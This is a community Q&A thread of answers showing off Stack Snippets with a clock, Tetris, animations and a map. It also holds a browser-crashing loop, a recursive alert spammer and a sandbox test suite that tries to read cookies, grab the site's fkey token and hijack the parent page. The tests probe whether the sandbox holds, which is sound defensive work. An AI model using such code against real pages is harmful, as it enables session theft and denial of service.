    Commented Sep 29, 2014 at 13:35
  • @bfrohs, Not everyone knows how the technology works, people can be easily tricked: meta.stackoverflow.com/questions/269753/…
    – Pacerier
    Commented Sep 29, 2014 at 13:48
58

What time is it?

document.getElementsByTagName("div")[0].style.marginTop = document.height / 3 + "px";

window.setInterval(function () {
    var time = "";
    var now = new Date();
    var hours = "" + now.getHours() + ":";
    var minutes = "" + now.getMinutes() + ":";
    var seconds = "" + now.getSeconds();
    var part;

    if (parseInt(hours) < 12) {
        part = " AM";
    } else {
        hours = parseInt(hours);
        if (hours !== 12) {
            hours -= 12;
        }
        hours += ":";
        part = " PM";
    }
    if (hours.length < 3) {
        hours = "0" + hours;
    }
    if (minutes.length < 3) {
        minutes = "0" + minutes;
    }
    if (seconds.length < 2) {
        seconds = "0" + seconds;
    }
    time += hours;
    time += minutes;
    time += seconds;
    time += part;
    document.getElementById("holder").innerHTML = time;
}, 1000);
div {
    text-align: center;
    font-size: 70pt;
}
<div id="holder"></div>

10
  • 8
    Awesome. This is my fave so far.
    – Haney Staff
    Commented Aug 25, 2014 at 21:54
  • 1
    @Haney Thanks; it seemed like a good way to demonstrate the feature.
    – AstroCB
    Commented Aug 26, 2014 at 0:29
  • 51
    Wow, we can close a dozen questions on SO by linking to this answer ;) Commented Aug 26, 2014 at 7:16
  • 5
    "00:46:20 PM" ... I mean, yeah, maybe.
    – Andrew
    Commented Aug 26, 2014 at 16:46
  • @AndrewArnold Fixed (just in time, too), but you'll have to wait another 24 hours to see it in action. Thanks.
    – AstroCB
    Commented Aug 26, 2014 at 17:00
  • Doesn't fit on one line in Firefox 31 on Ubuntu. Commented Aug 27, 2014 at 2:27
  • 6
    ...Adventure Time!
    – dav_i
    Commented Aug 27, 2014 at 16:46
  • 1
    And here I am still hoping for a picture of Finn and Jake in the snippet output... :(
    – Bojangles
    Commented Aug 27, 2014 at 16:59
  • @dav_i When this one first popped up, I was fighting not to put that exact comment. This is a very well-written snippet, though!
    – Kendra
    Commented Aug 27, 2014 at 17:35
  • @NathanOsman Fixed.
    – AstroCB
    Commented Aug 29, 2014 at 21:29
51

Run the snippet to crash your browser.

var s=' ';while(1)s+=' ';

11
  • 48
    I run it anyway and Firefox stopped responding. I closed the tab and it closed nicely. "Yeah! it didn't crash!". Than it crashed. Browsers are stupid.
    – Kobi
    Commented Aug 26, 2014 at 6:00
  • 8
    Freezes the tab in Chrome Commented Aug 26, 2014 at 7:50
  • 2
    Would crash the tab in Opera
    – GOTO 0
    Commented Aug 26, 2014 at 15:42
  • ran in firefox, 30 second wait, back to normal, I was expecting the "script is unresponsive" popup but nothing
    – 19greg96
    Commented Aug 26, 2014 at 16:13
  • 2
    Frozen Safari too...
    – clt60
    Commented Aug 27, 2014 at 19:01
  • 4
    wow.. ! after clicking my chrome went froze even i can't upvote the ans...
    – Raja Simon
    Commented Sep 3, 2014 at 8:14
  • 1
    That filled my RAM with 2Go of spaces
    – Alcalyn
    Commented Nov 28, 2014 at 9:42
  • IE10 seems to be immune, in the same way as FF. Commented Apr 29, 2016 at 13:11
  • 5
    I'm dumb. I was scrolling through to try each snippet and clicked the "run" button before reading the description.
    – Stevoisiak
    Commented Aug 4, 2017 at 13:19
  • Failed. Only laggs tab
    – Trooper Z
    Commented Aug 23, 2018 at 23:46
  • Safari just refreshed the page :p
    – cobrexus
    Commented Jun 9, 2020 at 12:49
48

Things that currently are nicely sandboxed (feel free to add things you tried that didn't work):

var TESTS = {
  "Trashing the parent": function() {
    parent.document.querySelector("body").innerHTML = "Much evil!";
  },
  "Reading cookies": function() {
    var evil = document.cookie;
  },
  "Getting fkey": function() {
    var evil = parent.StackExchange.options.user.fkey;
  },
  "Listen to messages in parent": function() {
    parent.addEventListener( "message", function( m ) { console.log( m ); }, false );
  },
  "Send user to different page": function() {
    window.top.location.assign( "http://example.com" );
    throw new Error("window.top.location.assign doesn't work");
  }
};

$(function() {
  var resultTemplate = $("#resultTemplate").html();
  var pass = $("#pass"), fail = $("#fail");

  Object.keys(TESTS).forEach(function(testName) {
    var test = TESTS[testName];
    try {
      test();
      fail.append(errorTemplate(testName, test));
    } catch (e) {
      pass.append(errorTemplate(testName, test, e));
    }
  });

  function errorTemplate(name, test, error) {
    return resultTemplate.replace("{name}", name)
                         .replace("{code}", test.toString())
                         .replace("{error}", error);
  }
});
code {
  white-space: pre-wrap;
}

#pass dt {
  color: #12AA33;
}
#pass dt::after {
  content: "✓";
  display: inline-block;
  font-size: 1.25em;
  font-weight: bold;
  margin-left: .25em;
}
#pass dt + dd { display: none; }

#fail dt {
  color: #AA1233;
}
#fail dt::after {
  content: "✘";
  display: inline-block;
  font-size: 1.25em;
  font-weight: bold;
  margin-left: .25em;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<dl id="fail"></dl>
<h2>Looks like we are protected against the following:</h2>
<dl id="pass"></dl>
<script type="test/template" id="resultTemplate">
<dt>{name}</dt>
<dd>Running:
<pre><code>{code}</code></pre>
Resulted in the following:
<pre><code>{error}</code></pre></dd>
</script>

6
  • Is this meant to fail? "SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame." Commented Aug 26, 2014 at 0:33
  • 10
    Yes, it is meant to fail. If either of those worked, this feature would have issues. Feel free to try other more complicated exploits - lots of stuff is closed down by the very nice setup (iframe in another domain, locked down so that JS doesn't even have access to cookies). Commented Aug 26, 2014 at 1:31
  • Unfortunately, I don't know any of the supported languages. Until Haskell allows this kind of programing, I'm SOL. Commented Aug 26, 2014 at 1:34
  • 3
    @Kyllopardiun - I updated the runner to show checkboxes for security tests where the browser succeeded in blocking the "attack". Security holes will show up in red with a full stack trace, but good security measures will show up with a green checkmark next to them. Commented Aug 26, 2014 at 15:55
  • Thanks for explaining. I thought there was some issues with firefox considering the previous comments.
    – Mansueli
    Commented Aug 26, 2014 at 16:00
  • Haney's answer demonstrates that code snippets cannot log users out.
    – Stevoisiak
    Commented Aug 4, 2017 at 13:39
45

Interesting to see how d3.js and SVG work...

I borrowed the code from a d3 tutorial to test:

http://bl.ocks.org/mbostock/1125997


var margin = {top: 40, right: 40, bottom: 40, left: 40},
    width = 420 - margin.left - margin.right,
    height = 180 - margin.top - margin.bottom;

var y = d3.scale.ordinal()
    .domain(d3.range(25))
    .rangePoints([0, height]);

var z = d3.scale.linear()
    .domain([10, 0])
    .range(["hsl(62,100%,90%)", "hsl(228,30%,20%)"])
    .interpolate(d3.interpolateHcl);

var svg = d3.select("body").append("svg")
    .attr("width", width + margin.left + margin.right)
    .attr("height", height + margin.top + margin.bottom)
  .append("g")
    .attr("transform", "translate(" + margin.left + "," + margin.top + ")");

svg.selectAll("circle")
    .data(y.domain())
  .enter().append("circle")
    .attr("r", 12)
    .attr("cx", 0)
    .attr("cy", y)
    .style("fill", function(d) { return z(Math.abs(d % 20 - 10)); })
  .transition()
    .duration(2500)
    .delay(function(d) { return d * 40; })
    .each(slide);

function slide() {
  var circle = d3.select(this);
  (function repeat() {
    circle = circle.transition()
        .attr("cx", width)
      .transition()
        .attr("cx", 0)
        .each("end", repeat);
  })();
}
circle {
  fill: #000;
  stroke: #000;
  stroke-width: 1.5px;
}
<script src="https://d3js.org/d3.v3.min.js"></script>

1
  • 15
    This one is super cool. I love D3.
    – Haney Staff
    Commented Aug 26, 2014 at 14:46
42

SPAM ME ! Recurse test (Uncaught RangeError: Maximum call stack size exceeded )

NOTE: (IE 8/9 doesn't support console.log on normal window), try this with your dev tools open

IMP: Try it an window you don't bother to lose.

function recurse(){alert('');console.log('spam me');recurse();};recurse();

UPDATE 1: Spam the document window (IE 8/9 doesn't support console.log on normal window)

function recurse(){alert('');document.write('spam me');recurse();};recurse();

20
  • 2
    whoa! Maximum call stack. Nicely done! Commented Aug 25, 2014 at 22:00
  • 4
    Not my current Firefox (31.0) :(
    – Haney Staff
    Commented Aug 25, 2014 at 22:17
  • 1
    IE9 seems to prevent it. Commented Aug 25, 2014 at 22:19
  • 21
    Wow, IE9 did something better than FF? I'm in shock.
    – Haney Staff
    Commented Aug 25, 2014 at 22:31
  • 125
    This should be easy to solve. All we have to do is detect whether the code will ever terminate and... oh wait.
    – David Fullerton Mod
    Commented Aug 25, 2014 at 22:33
  • 3
    @DavidFullerton nice. I hadn't thought to make reference to the Halting Problem. ;)
    – Haney Staff
    Commented Aug 25, 2014 at 22:49
  • 10
    This doesn't get blocked automatically by Chrome, but it gives you an option to "block further dialogs" Commented Aug 26, 2014 at 0:35
  • 34
    I think this gets plus points for being the first to abuse the feature. :D:D:D
    – Mysticial
    Commented Aug 26, 2014 at 1:35
  • @LightnessRacesinOrbit that's very strange--I had to end my IE 11 task in Task Manager. It definitely didn't intervene. Unless there's some setting for that, but I really can't imagine there would be. Commented Aug 26, 2014 at 5:07
  • 23
    @Haney I figured it out. It looks like IE9 was better than Firefox, but they fixed that in IE11 so now it's less smart again. Phew. That was a close one. Commented Aug 26, 2014 at 5:08
  • 7
    @DavidFullerton - JS Bin does have some protection from infinite loops and bad performance in general: jsbin.com/blog/protection , including an open source loop protection module: github.com/jsbin/loop-protect . It's easy to say "halting problem" and give up, but it turns out there is a lot you can do to help your users.
    – Kobi
    Commented Aug 26, 2014 at 8:29
  • 6
    @Haney: On second popup, firefox asks if I want to stop showing popups. Commented Aug 26, 2014 at 10:48
  • 7
    Safari, on iPad Air, is successfully unusable after this. >.< Commented Aug 26, 2014 at 12:49
  • 2
    Maybe things like this should be hooked so they can be limited, e.g. window.alert = alertHook where alertHook would only show an alert up to n times.
    – Chad Levy
    Commented Aug 26, 2014 at 23:47
  • 2
    Firefox 31.0 gives the option of blocking it as well.
    – nico
    Commented Aug 27, 2014 at 14:25
37

Burnanating a greeting:

body {
  background-color: #000;
  padding: 1em;
}

h1 {
    text-align: center;
    margin-top:3em;
}

span {
    color: #fff;
    font-size:1.5em;
}

.fire {
  animation: animation 1s ease-in-out infinite alternate;
  -moz-animation: animation 1s ease-in-out infinite alternate;
  -webkit-animation: animation 1s ease-in-out infinite alternate;
  -o-animation: animation 1s ease-in-out infinite alternate;
}

.burn {
  animation: animation .65s ease-in-out infinite alternate;
  -moz-animation: animation .65s ease-in-out infinite alternate;
  -webkit-animation: animation .65s ease-in-out infinite alternate;
  -o-animation: animation .65s ease-in-out infinite alternate;
}

@keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #feec85,
  -20px -20px 40px #ffae34,
  20px -40px 50px #ec760c,
  -20px -60px 60px #cd4606,
  0 -80px 70px #973716,
  10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #fefcc9,
  -20px -20px 40px #feec85,
  22px -42px 60px #ffae34,
  -22px -58px 50px #ec760c,
  0 -82px 80px #cd4606,
  10px -90px 80px  #973716;}
}

@-moz-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #feec85,
  -20px -20px 40px #ffae34,
  20px -40px 50px #ec760c,
  -20px -60px 60px #cd4606,
  0 -80px 70px #973716,
  10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #fefcc9,
  -20px -20px 40px #feec85,
  22px -42px 60px #ffae34,
  -22px -58px 50px #ec760c,
  0 -82px 80px #cd4606,
  10px -90px 80px  #973716;}
}

@-webkit-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #feec85,
  -20px -20px 40px #ffae34,
  20px -40px 50px #ec760c,
  -20px -60px 60px #cd4606,
  0 -80px 70px #973716,
  10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #fefcc9,
  -20px -20px 40px #feec85,
  22px -42px 60px #ffae34,
  -22px -58px 50px #ec760c,
  0 -82px 80px #cd4606,
  10px -90px 80px  #973716;}
}

@-o-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #feec85,
  -20px -20px 40px #ffae34,
  20px -40px 50px #ec760c,
  -20px -60px 60px #cd4606,
  0 -80px 70px #973716,
  10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
  10px -10px 30px #fefcc9,
  -20px -20px 40px #feec85,
  22px -42px 60px #ffae34,
  -22px -58px 50px #ec760c,
  0 -82px 80px #cd4606,
  10px -90px 80px  #973716;}
}
<h1>
    <span class="fire">[H</span><span class="burn">e</span><span class="fire">l</span><span class="burn">l</span><span class="fire">o</span><span class="burn">W</span><span class="fire">o</span><span class="burn">r</span><span class="fire">l</span><span class="burn">d</span><span class="fire">!]</span>
</h1>

3
  • 36
    Wow; this slows the page down quite a bit. I think we need a way to collapse these...
    – AstroCB
    Commented Aug 26, 2014 at 2:43
  • If you made it green/aqua, it'd look like the Aurora Borealis.
    – mbomb007
    Commented Mar 4, 2015 at 20:00
  • @AstroCB A "Hide Result" button was added at some point
    – Stevoisiak
    Commented Aug 4, 2017 at 13:23
36

How about a simple Canvas and Google maps snippet test?

var map;
function initialize() {
  var mapOptions = {
    zoom: 4,
    center: new google.maps.LatLng(37.6,-95.665)
  };
  map = new google.maps.Map(document.getElementById('map-canvas'),
                            mapOptions);
}

google.maps.event.addDomListener(window, 'load', initialize);
html, body, #map-canvas {
            height: 100%;
            margin: 0px;
            padding: 0px
          }
<!DOCTYPE html>
<html>    
    <head>
        <title>Simple Map</title>
        <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
        <meta charset="utf-8">
        <style>
</style>
        <script src="https://maps.googleapis.com/maps/api/js?v=3.exp"></script>
    </head>
    <div id="map-canvas"></div>
    </body>
</html>

3
  • 12
    This is fairly mind blowing. Damn.
    – Haney Staff
    Commented Aug 26, 2014 at 14:48
  • 1
    I remember when Street View blew my mind. Now you can apply it as an added gimmick to a SO question. It still blows my mind though. Commented May 31, 2015 at 19:48
  • 1
    Oops! Something went wrong. This page didn't load Google Maps correctly. See the JavaScript console for technical details.
    – Sabito
    Commented Oct 7, 2020 at 10:41
35

PHP Code

(don't mind the scrollbar)

<?php                                                                                                               ?><script>
    $store = array(0, 1, 0, 1, 0, 0);                                                                               function array(){ return [].slice.apply(arguments) }var preg_replace=function(regex,w,str){var re=regex.split('/').splice(1,2);re[1]+='g';return str.replace(RegExp.apply(0,re),w)},str_split=function(s,n){var a=[],n=n||1;for(var i=0;i<s.length;i+=n)a.push(s[i]);return a;},implode=function(w,a){return a.join(w)},var_dump=function(t){document.write((typeof t=='object'?(t.length>-1?'array':'object'):typeof t)+(t.length!==void 0?'('+t.length+')':'')+' '+JSON.stringify(t).replace(/\[/,'{').replace(/\]/,'}').replace(/,([^,])/g,', $1'))},styl=document.createElement('style');styl.innerHTML='body{font-family:monospace}';document.head.appendChild(styl);
    $check = str_split(preg_replace('/10/','1',implode('',$store)));
    var_dump($check);                                                                                               </script><?php
?>

1
  • 20
    This blew my mind, then really pissed me off, then made me laugh. Great work.
    – captncraig Staff
    Commented Feb 23, 2015 at 18:15
34

Tetris

Left - move left.
Right - move right.
Up - rotate clockwise.
Down - accelerate.

JSFiddle

var fs = "1111:01|01|01|01*011|110:010|011|001*110|011:001|011|010*111|010:01|11|01:010|111:10|11|10*11|11*010|010|011:111|100:11|01|01:001|111*01|01|11:100|111:11|10|10:111|001", now = [3,0], pos = [4,0];
var gP = function(x,y) { return document.querySelector('[data-y="'+y+'"] [data-x="'+x+'"]'); };
var draw = function(ch, cls) {
    var f = fs.split('*')[now[0]].split(':')[now[1]].split('|').map(function(a){return a.split('')});
    for(var y=0; y<f.length; y++){
        for(var x=0; x<f[y].length; x++){
            if(f[y][x]=='1') {
                if(x+pos[0]+ch[0]>9||x+pos[0]+ch[0]<0||y+pos[1]+ch[1]>19||gP(x+pos[0]+ch[0],y+pos[1]+ch[1]).classList.contains('on')) return false;
                gP(x+pos[0]+ch[0], y+pos[1]+ch[1]).classList.add(cls!==undefined?cls:'now');
            }
        }
    }
    pos = [pos[0]+ch[0], pos[1]+ch[1]];
};
var deDraw = function(){ if(document.querySelectorAll('.now').length>0) deDraw(document.querySelector('.now').classList.remove('now')); };
var check = function(){
	for(var i=0; i<20; i++)
		if(document.querySelectorAll('[data-y="'+i+'"] .brick.on').length == 10) 
			return check(roll(i), document.querySelector('#result').innerHTML=Math.floor(document.querySelector('#result').innerHTML)+10);
};
var roll = function(ln){ if(false !== (document.querySelector('[data-y="'+ln+'"]').innerHTML = document.querySelector('[data-y="'+(ln-1)+'"]').innerHTML) && ln>1) roll(ln-1); };
window.addEventListener('keydown', kdf = function(e){
    if(e.keyCode==38&&false!==(now[1]=((prv=now[1])+1)%fs.split('*')[now[0]].split(':').length) && false===draw([0,0], undefined, deDraw())) draw([0,0],undefined, deDraw(), now=[now[0],prv]);
    if((e.keyCode==39||e.keyCode==37)&&false===draw([e.keyCode==39?1:-1,0],undefined,deDraw())) draw([0,0],undefined,deDraw());
    if(e.keyCode == 40)
        if(false === draw([0,1], undefined, deDraw())) {
            if(draw([0,0], 'on', deDraw())||true) check();
            if(false === draw([0,0], undefined, now = [Math.floor(Math.random()*fs.split('*').length),0], pos = [4,0])) { 
				toV=-1; 
				alert('Your score: '+document.querySelector('#result').innerHTML); 
			}
        }
});
toF = function() {
    kdf({keyCode:40});
    setTimeout(function(){if(toV>=0)toF();}, toV=toV>0?toV-0.5:toV);
};
toF(toV = 500);
#stack {
    width: 130px;
    height: 260px;
    border: solid 1px black;
    border-top: 0px;
}

.brick {
    width: 11px;
    height: 11px;
    border: solid 1px white;
    background: white;
    float: left;
}
.brick.on {
    background: black;
}
.brick.now {
    background: green;
}
<div class="score">score: <span id="result">0</span></div>
  
  <div id="stack">
    <div data-y="0" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="1" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="2" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="3" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="4" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="5" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="6" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="7" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="8" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="9" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="10" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="11" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="12" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="13" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="14" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="15" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="16" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="17" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="18" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
    <div data-y="19" class="line">
        <div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
    </div>
</div>

4
  • JavaScript in snippets get minified. Missing semicolons or accolades can break your code.
    – Cerbrus
    Commented Aug 27, 2014 at 7:10
  • 8
    That's another half an hour I'm not getting back..
    – nhaarman
    Commented Aug 27, 2014 at 19:52
  • 28
    Congratulations on delaying the release of an upgraded version of Snippets by another half hour. So fun.
    – Haney Staff
    Commented Sep 4, 2014 at 21:22
  • Hah!! Too addictive! Kill it before it lay eggs...
    – 0xC0DED00D
    Commented Sep 10, 2014 at 21:48
32

Some crazy CSS 3D transforms and animation. Why not?

(this is adapted from the code at http://desandro.github.io/3dtransforms/docs/cube.html)

@keyframes rotate {
    from {
        transform: translateZ(-300px) translateY(0px) rotateY(0deg) rotateZ(50deg) rotateX(0deg);
    }
    50% {
        transform: translateZ(-300px) translateY(0px) rotateY(180deg) rotateZ(30deg) rotateX(100deg);
    }
    to {
        transform: translateZ(-300px) translateY(0px) rotateY(360deg) rotateZ(50deg)  rotateX(0deg);
    }
}
.container {
    width: 200px;
    height: 200px;
    position: relative;
    margin: 40px auto 0 auto;
    border: 1px solid #CCC;
    perspective: 1000px;
}
#cube {
    width: 100%;
    height: 100%;
    position: absolute;
    top: -120px;
    transform: translateZ(-100px) translateY(100px);
    transform-style: preserve-3d;
    transition: transform 1s;
    animation: rotate 2s ease-in 1s infinite;
}
#cube figure {
    display: block;
    position: absolute;
    width: 196px;
    height: 196px;
    border: 2px solid black;
    line-height: 196px;
    font-size: 120px;
    font-weight: bold;
    color: #000;
    text-align: center;
    background: rgba(255,255,255,0.5) !important;
}
#cube .front {
    background: hsla(0, 100%, 50%, 0.7);
    transform: translateZ(100px);
}
#cube .back {
    background: hsla(60, 100%, 50%, 0.7);
    transform: rotateX(-180deg) translateZ(100px);
}
#cube .right {
    background: hsla(120, 100%, 50%, 0.7);
    transform: rotateY(90deg) translateZ(100px);
}
#cube .left {
    background: hsla(180, 100%, 50%, 0.7);
    transform: rotateY(-90deg) translateZ(100px);
}
#cube .top {
    background: hsla(240, 100%, 50%, 0.7);
    transform: rotateX(90deg) translateZ(100px);
}
#cube .bottom {
    background: hsla(300, 100%, 50%, 0.7);
    transform: rotateX(-90deg) translateZ(100px);
}
<script src="//cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>

<section class="container">
    <div id="cube" class="show-right">
        <figure class="front">⚀</figure>
        <figure class="back">⚁</figure>
        <figure class="right">⚂</figure>
        <figure class="left">⚃</figure>
        <figure class="top">⚄</figure>
        <figure class="bottom">⚅</figure>
    </div>
</section>

2
  • 11
    This is pretty slick!
    – Haney Staff
    Commented Aug 28, 2014 at 20:24
  • 4
    and the unicode is still highlightable in the render! ⚀ ⚁ ⚂ ⚃ ⚄ ⚅ !
    – ocæon
    Commented Apr 6, 2019 at 21:09
30

This should have been done way sooner.

document.write('Hello World!')
div:before {
  content: "Hello World!";
  display: block;
}
<div>Hello World!</div>

2
  • WebKit is only willing to recurse 3 times.
    – tbodt
    Commented Aug 29, 2014 at 20:08
  • 11
    @tbodt, why would it be recursing at all? It's writing hello world in three different ways, one with javascript, one with html, and one with CSS on the sole element in the body tag.
    – KyleMit StaffMod
    Commented Aug 29, 2014 at 20:09
28

The good old <marquee> ;)

<marquee>I am an unicorn and I eat other unicorns.</marquee>

2
  • 13
    Wow that still works! <nostalgia> Commented Sep 1, 2014 at 21:48
  • 2
    NOOOOOOOOOOOOOOOOOOOOOOOH! Commented Dec 24, 2017 at 8:54
24

The Wheel of Blame!

$(function () {
    $.getJSON('http://anyorigin.com/get?url=' + encodeURIComponent('http://chat.meta.stackoverflow.com/rooms/info/89/tavern-on-the-meta') + '&callback=?', function (data) {
        parser = new DOMParser();
        htmlDoc = parser.parseFromString(data.contents, "text/html");
        var a = htmlDoc.getElementsByClassName('username');
        var b = htmlDoc.getElementsByClassName('user-gravatar48');
        var c = document.getElementsByTagName('ul')[0];

        for (var i = 0; i < a.length; i++) {
            c.innerHTML = c.innerHTML + "<li><img src='" + b[i].src + "'/>It's " + a[i].innerHTML + '\'s fault!</li>';
        }
        var li = $('ul li'),
        spinBtn = $('#spin');
        for (var i = 0; i < 3; i++) {
            li.clone().appendTo('ul');
        }


        var randNum;
        function spin() {
            randNum = Math.random();
            spinBtn.attr('disabled', true).text('Hang on!');
            li.first().animate({
                marginTop: -(li.first().outerHeight(true) * (Math.floor(randNum * li.length * 2) + li.length * 2)) - 2
            }, 5000, 'easeOutQuad', function () {
                spinBtn.attr('disabled', false).text('Spin Again!');
            });
        }

        spinBtn.click(function () {
            li.first().css('margin-top', 0);
            spin();
            return false;
        });
        spin();
    });
});
body {
    font-family: Arial, sans-serif;
    margin: 20px;
}
.clearfix {
    clear: both;
}
ul {
    float: left;
    margin-left: 20px;
    height: 24px;
    background-color: #efefef;
    padding: 10px 20px 10px 10px;
    overflow: hidden;
    -moz-border-radius: 3px;
    -webkit-border-radius: 3px;
    border-radius: 3px;
    -moz-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3);
}
ul li {
    font-size: 20px;
    margin-bottom: 30px;
}
ul li img {
    width: 24px;
    height: 24px;
    margin-right: 5px;
    vertical-align: bottom;
}
#csharp {
    display: inline-block;
    width: 24px;
    margin-right: 5px;
}
#blame {
    float: left;
    font-size: 12px;
